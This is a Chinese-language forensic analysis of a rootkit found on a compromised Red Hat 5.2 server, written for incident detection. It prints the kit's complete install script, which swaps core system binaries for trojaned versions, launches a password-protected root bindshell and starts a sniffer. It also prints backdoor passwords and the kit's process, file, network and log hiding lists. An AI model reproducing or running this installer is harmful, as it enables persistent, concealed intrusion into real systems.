分析一机器上被放置的rootkit
BY XUNDI
[email protected]
http://www.netguard.com.cn
这文章是对运行REDHAT5.2上被入侵后的分析,可能使用一个ROOT级的关于
POP2 daemon(版本4.46)漏洞。
在/usr/include/rpc/\"..\"下发现了这个KIT,入侵者可能安装了一些后门和木马在系统上以便下一次继续获得ROOT权限访问和更好的隐藏他们的身份。下面是发现的一些文件:
slimsheet:~/nfo# ls -al
drwxr-xr-x 9 root root 4096 Dec 31 23:31 kit2/
-rw-r--r-- 1 root root 459397 Oct 27 14:35 kit_OUT_99.tgz
-rwxr-xr-x 1 ftp 50 13766 Nov 21 21:36 t666*
-rwxr-xr-x 1 root root 106096 Nov 20 05:26 wget*
slimsheet:~/nfo# ls -al kit2/
-rwxr-xr-x 1 root root 13762 Dec 10 20:55 admbind*
drwxr-xr-x 2 root root 4096 Sep 29 18:32 bd/
drwxr-xr-x 2 root root 4096 Jan 2 22:23 bnc/
-rwxr-xr-x 1 root root 1059 Oct 3 01:49 install*
drwxr-xr-x 2 root root 4096 Sep 29 18:32 pty/
-rw-r--r-- 1 root root 1 Dec 31 23:32 readme
drwxr-xr-x 2 root root 4096 Dec 5 21:44 resetlog/
drwxr-xr-x 2 root root 4096 Dec 31 23:30 scans/
drwxr-xr-x 2 root root 4096 Sep 29 18:32 sniff/
drwxr-xr-x 2 root root 4096 Sep 30 16:21 trojans/
分析:
在这个目录中发现3个文件,名字各为:kit_OUT_99.tgz, t666 和 wget,这个kit_OUT_99.tgz是后门KIT的打包文件,其展开后存放在./kit2/里面,wget是用来通过INTERNET接受文件的程序,t666是关于BIND/named--多个操作系统都存在的远程EXPLOIT程序,一般BIND8.2.(X)版本都存在远程漏洞。我继续进入kit2目录,我们发现在同目录下发现另外3个文件,admbind, install 和 readme,Admbind这个程序应该是关于BIND版本的一个远程溢出利用代码,readme文件是目录./sniff/lins记录所有连接的文件,但这个文件字节数为0kb,而install安装文件是一个/bin/sh脚本文件,如下所示:
#!/bin/sh
#backup
echo \"Instalacao do Kit NFO GROUP v1.5\"
if [ \"$1\" != \"-install\" ]; then
echo \"Use: ./install -install\" ; echo \"\"
exit
fi
echo -n \"[*] Iniciando Backup...\"
/bin/cp /bin/ls /usr/doc/.sl
/bin/cp /bin/ps /usr/doc/.sp
/bin/cp /bin/netstat /usr/doc/.statnet
/bin/cp /usr/sbin/syslogd /usr/doc/.logdsys
/bin/cp /usr/sbin/tcpd /usr/doc/.dpct
/bin/cp /sbin/ifconfig /usr/doc/.gifnocfi
/bin/cp /usr/bin/find /usr/doc/.dnif
/bin/cp /bin/login /usr/doc/.nigol
echo \"ok\"
# instalacao
echo -n \"[*] Iniciando instalacao...\"
/bin/cp -f trojans/ls.trj /bin/ls
/bin/cp -f trojans/ps.trj /bin/ps
/bin/cp -f trojans/netstat.trj /bin/netstat
/bin/cp -f trojans/syslogd.trj /usr/sbin/syslogd
/bin/cp -f trojans/tcpd.trj /usr/sbin/tcpd
/bin/cp -f trojans/ifconfig.trj /sbin/ifconfig
/bin/cp -f trojans/find.trj /usr/bin/find
/bin/cp -f trojans/login.trj /bin/login
/bin/cp -f pty/pty* /dev/
echo \"ok\"
echo -n \"[*] Instalando backdoor...\"
./bd/biba 14789632159 lal
echo \"ok\"
echo -n \"[*] Sniffando...\"
./sniff/lins
echo \"ok\"
echo \"Instalacao completa :-)\"
exit
目录./bd/中包含一个叫biba的文件,经检查,应该是类似与bindshell.c的拷贝。执行了./biba,其在端口31337端口绑定一个ROOTSHELL,并且命名为syslogd,这样在ROOT运行ps aux的时候会误以为是syslogd在运行而不是后门程序。如果你TELNET这个端口,你不会得到任何显示,其实这个程序是在等待你输入密码以进入系统,如果密码正确,你就得到一个关于/bin/bash的ROOT身份的权限的外壳。经检查后发现密码是#N#F#O#G
在进入到./bnc/目录,发现是一个关于监听IRC使用的程序BNC,并且里面有一个bnc的配置程序bnc.conf:
pt:54123 <-------- 这是BNC监听端口.
ps:ziggylinda <-------- 密码.
mu:3 <-------- 最大使用连接数
dp:6667 <-------- IRC默认的连接端口
而./pty/.目录我们发现了4个文件:
ptyp, ptyq, ptyr 和 ptys. 都是属于后门和木马的程序,如果使用CAT查看:
2 lins
3 biba
3 sadan
3 lal
3 cleans
3 z2
3 readme
3 in.telnetd
3 promisc
3 cat
3 grep
3 bash
3 sh
3 bnc
3 rpcscan
3 z0ne
这个其实是进程隐藏程序,所有在前面有3的条目会隐藏包含在/bin/ps
中相对应的字符串。如,当它说 3 biba的话,当你执行/bin/ps时不会显示有关biba的任何字符串,如果是 2 lins 它会在隐藏所有应用程序匹配lins的字符串。
ptyq文件是有关隐藏netstat的信息的文件,
0 0
1 200.241
1 200.244
1 200.243
1 200.242
1 expert.com.br
1 interconect.com.br
1 amazonline.com.br
1 libnet.com.br
2 200.241
2 200.242
2 200.240
2 200.243
2 200.242
2 libnet.com.br
2 amazonline.com.br
2 interconect.com.br
2 amazonline.com.br
2 14789632159
2 988889
3 14789632159
3 988889
5 /usr/include/rpc/\".. \"/kit/
从lrk的ROOTKIT的README文件知道:
type 0: hide uid
type 1: hide local address
type 2: hide remote address
type 3: hide local port
type 4: hide remote port
type 5: hide UNIX socket path
这里就可以看到攻击者想隐藏从200.241-244和域名为libnet.com.br,
expert.com.br, amazonline.com.br, interconect.com.br的主机,这些很可能就是入侵者的ISP或者原始连接途径。
下一个文件是ptyr,任何在此文件里的名字将不会出现在ls/du命令中,如果使用CAT命令就可以看到:
ptyp
ptyq
ptyr
ptys
..
你可以注意到这些pty*文件被隐藏,和其他一些攻击者存储文件的名字。
最后一个文件是ptys,其是用来所有在syslogd下的地址,ptys的内容如下:
200.244
200.245
200.241
200.242
expert.com.br
interconect.com.br
amazonline.com.br
libnet.com.br
这样可以保证入侵者所有他们的连接将不会LOG到/var/log/*或者其他syslogd下要记录的文件。
再进入resetlog目录将看到6个文件,这几个文件实在太大,所以我用\"head -n 5 sadan\"
来部分查看:
# [-] Sadan del log v 5.0 - BETA
# [-] written by the_sphinx to NFO group \99
# [-] [email protected]
#
#!/bin/bash
从上你可以看到这个脚本是由_sphinx for NFO group 99写的,并且从中可以联系作者[email protected],其中另外还有一个叫sadan-4_0-pt.sh的文件在同一目录下,部分内容为:
echo; echo ; echo \"[S] SADAN del log 4.0 - PORTUGUES\"
echo \"[S] sysdenial - [email protected]\"
echo \"[S] NFO Group OwnZ - Brazil - Out/99\"
这象是另外一个人写的LOG清除脚本。
下一个目录是scans,这个是关于网络扫描的目录,里面有两个文件rpcscan和z0ne,z0ne是用来搜集从一个顶级域名来的IP,如,所有*.edu的IP地址,于是我们到resetlog目录中使用find / -name *log* > .logs 找到.logs的文件,这个文件中有以下条目:
/usr/include/rpc/.. /kit2/scans/mc.log.qpop
/usr/include/rpc/.. /kit2/scans/no.log.qpop
/usr/include/rpc/.. /kit2/scans/no.log
/usr/include/rpc/.. /kit2/scans/200.log
这里可以看到HACKER已经扫描了*.no和A级网络-200.x.x.x 的漏洞,我们也注意到HACKER扫描*.no或者*.mc有关的QPOP版本漏洞。
再接下来的目录是sniff包含两个文件,lins是一个Ethernet信息包嗅探器并且默认的LOG文件是./readme,其目录下还有一个promisc文件,这个是一个公开软件用来在网络接口发现SNIFFER的程序。
对于这个入侵的网络检测
入侵检测最主要的是你需要知道你的系统上有其他问题是否产生,是否有其他一些不寻常的应用程序在运行,尤其是以UID=0的身份在运行等等,这个需要你对系统有比较熟悉的水平,你可以使用如tripwire ,tcpwrap等软件更容易的来检查系统改变 。
发布人:netbull 来自: